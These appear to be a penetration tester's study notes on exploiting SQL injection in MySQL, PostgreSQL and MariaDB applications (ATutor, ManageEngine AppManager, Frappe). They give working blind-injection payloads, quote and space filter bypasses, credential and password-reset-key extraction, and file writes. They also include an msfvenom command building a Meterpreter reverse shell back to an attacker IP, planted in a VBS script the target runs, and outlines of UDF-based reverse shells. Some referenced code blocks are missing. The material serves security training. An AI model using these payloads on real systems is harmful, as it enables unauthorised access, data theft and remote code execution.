SQL Injection
MySQL Databases
SetUp, Logging, Function Researching and Restriction Bypasses
- Set Up
sudo nano /etc/mysql/my.cnf
sudo systemctl restart mysql
sudo tail –f /var/log/mysql/mysql.log
To enable the PHP display_errors:
sudo nano /etc/php5/apache2/php.ini
sudo systemctl restart apache2
Once setted up we can start reviewing the source code.
- Funtion researching
If all pages that do not require authentication contain code like the following:
We would use the following to enumerate all pages we can access without authentication:
grep -rnw /var/www/html/ATutor -e "^.*user_location.*public.*" -- color
When inspecting files ,any time we see variable names such as query or qry, or function names that contain the string search, our first instinct should be to follow the path and see where the code takes us and try locating a SQL Injection.
Then, things to search:
Function containing the string search
queryDB
DB
query
qry
exec
sql
For example, to follow a function call called $search_result, we will use the following:
grep -rnw /var/www/html/ATutor -e "function searchFriends" --color
To see the php version:
php -v
If it runs PHP 5.6, the mysqli_connect function must exist, as it is present by default since version 5.0 in the php5-mysql Debian package. Therefore the $addslashes function will do nothing more than simply trim the user input, so there is no validation of user input when the $addslashes function is used.
- Testing and Logs
We can navigate the web and add ' to the query and see a returned warning result of the display_errors PHP directive being set to On. This error point as to a file se should look at.
We should also look the MySQL query and see if the single quote part of our payload was escaped correctly or not:
sudo tail –f /var/log/mysql/mysql.log
We should then check again sending two '
(AAAA''
)
Then if the payload is correctly formed, we could look at the code and if we can see that the results of the vulnerable query are actually not displayed to the user, then UNION queries are not valid and this would be a Blind SQL Injection.
- Space Restriction Bypass
Code like this, suggest that spaces are used as delimiters in the query construction so our payloads cannot contain any spaces.
We must use then:
mysql> select/**/1;
mysql> select/**/version();
Error-based Blind SQL Injection
If in the web response we can clearly see that the application displays some data within the HTML page when executing different queries, this means that the vulnerability in question can be classified as boolean-based.
- Veryfication
First, create a very simple dummy TRUE/FALSE injection subquery, we must verify that the complete query (with all its subqueries) is well-formed and will not cause any database errors:
Query evaluated to “true”:
AAAA')/**/or/**/(select/**/1)=1%23
Query evaluates to “false”:
AAAA')/**/or/**/(select/**/1)=0%23
- MySQL Version Idenfification
First, ask the database if the first character of the version string is a “4” or a “5”. We will also convert the resultant character to its numeric ASCII to avoid payload restrictions:
False Query: q=test%27)/**/or/**/(select/**/ascii(substring((select/**/version()),1,1)))=52%23
True Query: q=test%27)/**/or/**/(select/**/ascii(substring((select/**/version()),1,1)))=53%23
If everything works well, we can craft a script to play with the substring() function in our subqueries and loop over every single character of the version() result string comparing it with every possible character in the ASCII printable set:
- Credential Extracition and Authentication Bypass (ATutor)
If we perform the login and we can't see the password in the POST request, we can analyze how is this done since we have access to the backend.
First analyze the login script, this may point to the important logic functions.
Then we could search for tokens or sessions, session tokens are always an interesting item to keep track of as they are used in unexpected ways at times.
When looking at the code, notice if cookies are being used or not.
For example
Here password_hidden is controlled by us in the POST request,
And in the SQL Query we see that the session is as well controlled by us.
If we see in the code that if we manage to satisfy this query so that it returns a result set, we will be logged in, we can then craft the following payload:
! Here we obtain the character through the content length of the response. If we want to make it based on the status code of the response we could implement the mechanism used in Postgre Error-based Blind SQLi.
Again, if we see when authenticating that the password is sent in something like this: $_POST[‘form_password_hidden’]
, then we can search something like function encrypt_password()
.
If we locate that the password is hashed twice for login, then, with the hash extracted before we can bypass the authentication:
Time-based Blind SQL Injection
- Verification
First, check the sleep timer:
sleep(12)
Then check bolean conditions:
True Condition Tests:
SELECT * FROM some_table WHERE IF(1=1, SLEEP(5), NULL);
IF(1=1, SLEEP(5), NULL);
IF((SELECT+1+FROM+DUAL+WHERE+1=1), SLEEP(5), NULL)+
False Condition Tests:
SELECT * FROM some_table WHERE IF(1=2, SLEEP(5), NULL);
IF(1=2, SLEEP(5), NULL);
IF((SELECT+1+FROM+DUAL+WHERE+1=2), SLEEP(5), NULL)+
- Exploitation
For example, to extract password from table users where columd id is 1:
UNION (SELECT CASE WHEN ascii(substring(password,{i},1))={ord(char)} THEN SLEEP(8) ELSE 0 END from users where id=1)--
Example in python script:
Postgre Databases
SetUp, Logging, Function Researching and Restriction Bypasses
- Set Up
To instruct the database to log all SQL queries, change postgresql.conf
(C:\Program Files (x86)\ManageEngine\AppManager12\working\pgsql\data\amdb\postgresql.conf
) log_statement
:
Then, restart the application, run services.msc and find the app, then restart it.
Once the service is restarted, we will be able to see failed queries in log files, beginning with swissql, in the following directory:
C:\Program Files (x86)\ManageEngine\AppManager12\working\pgsql\data\amdb\pgsql_log\
To run SQL queries (ex in which server instance is configured to listen on port 15432
):
psql.exe -U postgres -p 15432
- Quote Restriction Bypass
If we see errors when using quotes:
GET /servlet/AMUserResourcesSyncServlet?ForMasRange=1&userId=1'
In Postgre we can bypass it using dollar signs, since two dollar characters ($$
) can be used as a quote (’
) substitute.
The following syntax examples produce the exact same result in PostgreSQL:
SELECT 'AWAE';
SELECT $$AWAE$$; SELECT $TAG$AWAE$TAG$;
- Space Restriction Bypass
Code like the following suggests that there is space restrictions:
This can be bypassed with /**/
Examples:
1/**/limit/**/(condition)--
Error-based Blind SQL Injection
- Confirm Injections
True:
SELECT CASE WHEN (1=1) THEN 1 ELSE 1 END
False:
SELECT CASE WHEN (1=2) THEN 1 ELSE 1 END
- Exploit
Example function in python assuming we have defined the target variable or we take it from the main function from argparse.
With this script we can execute an error based SQL Injection with a progress bar. This scrpt will extract a single variable, more variables can be added replicating the same logic.
Time-based Blind SQL Injection
Once we see a request like this:
GET /servlet/AMUserResourcesSyncServlet?ForMasRange=1&userId=1
We can search through the code the userId parameter:
In this example, it does not contain any quoted strings. Therefore, trying to simply terminate the query with a semicolon at the injection point should work well:
GET /servlet/AMUserResourcesSyncServlet?ForMasRange=1&userId=1;
Sending that request, we get a response that is not very verbose, but looking at the database log, we can see an error.
One of the great things about Postgres SQL-injection attacks is that they allow an attacker to perform stacked queries. The downside with stacked queries is that they return multiple result sets and this can break the logic of the application and with it the ability to exfiltrate data with a boolean blind-based attack.
In order to solve this problem and still be able to use the flexibility of stacked queries, we have to resort to time-based blind injection payloads:
GET /servlet/AMUserResourcesSyncServlet?ForMasRange=1&userId=1; select+pg_sleep(10);
- Confirm Injection
SELECT CASE WHEN (1=1) THEN 0=(SELECT 1 FROM PG_SLEEP(8)) END
- Normal Payload
Example function in python:
- Check privileges
Now that we can bypass the quotes restriction and are able to execute arbitrary stacked queries, it would be helpful to verify what database privileges the vulnerable application is running with.
GET /servlet/AMUserResourcesSyncServlet?ForMasRange=1&userId=1;SELECT+case+when+(SELECT+current_setting($$is_superuser$$))=$$on$$+then+pg_sleep(10)+end;--+
This will only sleep for 10 seconds if the is_superuser setting from the current_setting table is set to “on.
”.
We can implement this in the following python script:
- Reverse shell via Copy To
To write files to the system:
GET /servlet/AMUserResourcesSyncServlet?ForMasRange=1&userId=1;COPY+(SELECT+$$user$$)+to +$$c:\\user.txt$$;--+
A elegant way would be to introduce malicious code into the VBS files that are used by the target application during normal operation.
These scripts are located in the C:\Program\ Files\ (x86)\ManageEngine\AppManager12\working\conf\application\script
s
If we run the Sysinternals Process Monitor tool with a VBS path filter on our target host, we can see that one of the files that is executed on a regular basis is wmiget.vbs, for example, so we can target it.
First, generate the reverse shell:
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.119.120 LPORT=4444 -e x86/shikata_ga_nai -f vbs
Then, to add it to the end of the file through the query, we should base64 encode it (could be done with burp encoder) and execute the following query:
copy (select convert_from(decode($$ENCODED_PAYLOAD$$,$$base64$$),$$utf-8$$)) to $$C:\\Program+Files+(x86)\\ManageEngine\\AppManager12\\working\\conf\\\\application\\s cripts\\wmiget.vbs$$;
If we are targeting linux, to execute a bse64 encoded payload:
To do the same with a bash payload:
- Reverse shell via UDF (User-Defined Functions)
First we create the Postgres extension reverse shell (C):
Once we have the malicious extension created, we can send the payload to the target with the following python script, which assumes that there is an available Samba share on a Kali VM that hosts a file named rev_shell.dll:
- Reverse shell via Large Objects
Create a DLL file that will contain our malicious code
Inject a query that creates a large object from an arbitrary remote file on disk
Inject a query that updates page 0 of the newly created large object with the first 2KB of our DLL
Inject queries that insert additional pages into the pg_largeobject table to contain the remainder of our DLL
Inject a query that exports our large object (DLL) onto the remote server file system
Inject a query that creates a PostgreSQL User Defined Function (UDF) based on our exported DLL
Inject a query that executes our newly created UDF
MariaDB Databases
Set Up
To configure logging, we will open a new SSH connection and edit the MariaDB server configuration file located at /etc/mysql/my.cnf
:
Then restart:
sudo systemctl restart mysql
To follow the log:
sudo tail -f /var/log/mysql/mysql.log
Frappe Exploitation
- Authentication Bypass Discovery in Frappe
Once we see in the post request something like this:
Next, we will send the is_chat_enabled request to Repeater and modify it to run the web_search function.
First find all the whitelisted, guest-allowed functions:
Then, whithin that, search the mariadb queries.
Then return to the POST request and send it to the Repeater.
Once in Repeater, we need to modify the request to match the file path and the function call. The file path for the web_search function is apps/frappe/frappe/utils/global_search.py
and would make the cmd call “frappe.utils.global_search.web_search
”:
The only variable in the web_search function that does not have a default value is text, so we will set this by adding an ampersand (&
):
Then we should look at the mysql.log file to see the generated query:
With the initial query generated, we can start using the other potentially-vulnerable parameters like scope. We can set the scope variable to a value and examine how the query changes. Using custom values allows us to have a unique token that we are in control of, avoiding false positives when grepping.
Looking at the log, we can notice how many parameters the query have and then, craft an UNION payload:
To extract the version:
- Authentication Bypass Exploitation in Frappe
Click the reset password buton in the Frappe web and enter token_searchForUserTable@mail.com
.
The look at the log and locate the error:
sudo tail -f /var/log/mysql/mysql.log | grep token_searchForUserTable
Here, we have discovered the table where the token is stored.
Once we know which tables we need to target, we must create a SQL query to extract the email/name of the user:
The documentation says that the email can be found in the name column in the __Auth
table:
Frappe responds with the error “Illegal mix of collations for operation ‘UNION’”.
It is possible for us to force a collation within the query. However, we first need to discover the collation used in the __global_search table that we are injecting into, so we can use the following query:
This request returns the value of “utf8mb4_general_ci
” as the collation for the name column in the __global_search table
, so we must edit our previous payload to include the “COLLATE utf8mb4_general_ci
” command:
Once we discover the email, we can enter it in the Forgot Password field, then, locate the token in the previouslly discovered table which stores it:
From the list of columns, we notice reset_password_key. We can use this column name to extract the password reset key. We could use the number “1” for the name/email and number “5” for the reset_password_key:
Once we have the reset key, search reset_password_key in the code and look at the function, it should show a link with the appended key like the following:
http://erpnext:8000/update-password?key=aAJTVmS14sCpKxrRT8N7ywbnYXRcVEN0
From there, we can update the password and log in as the admin.
Last updated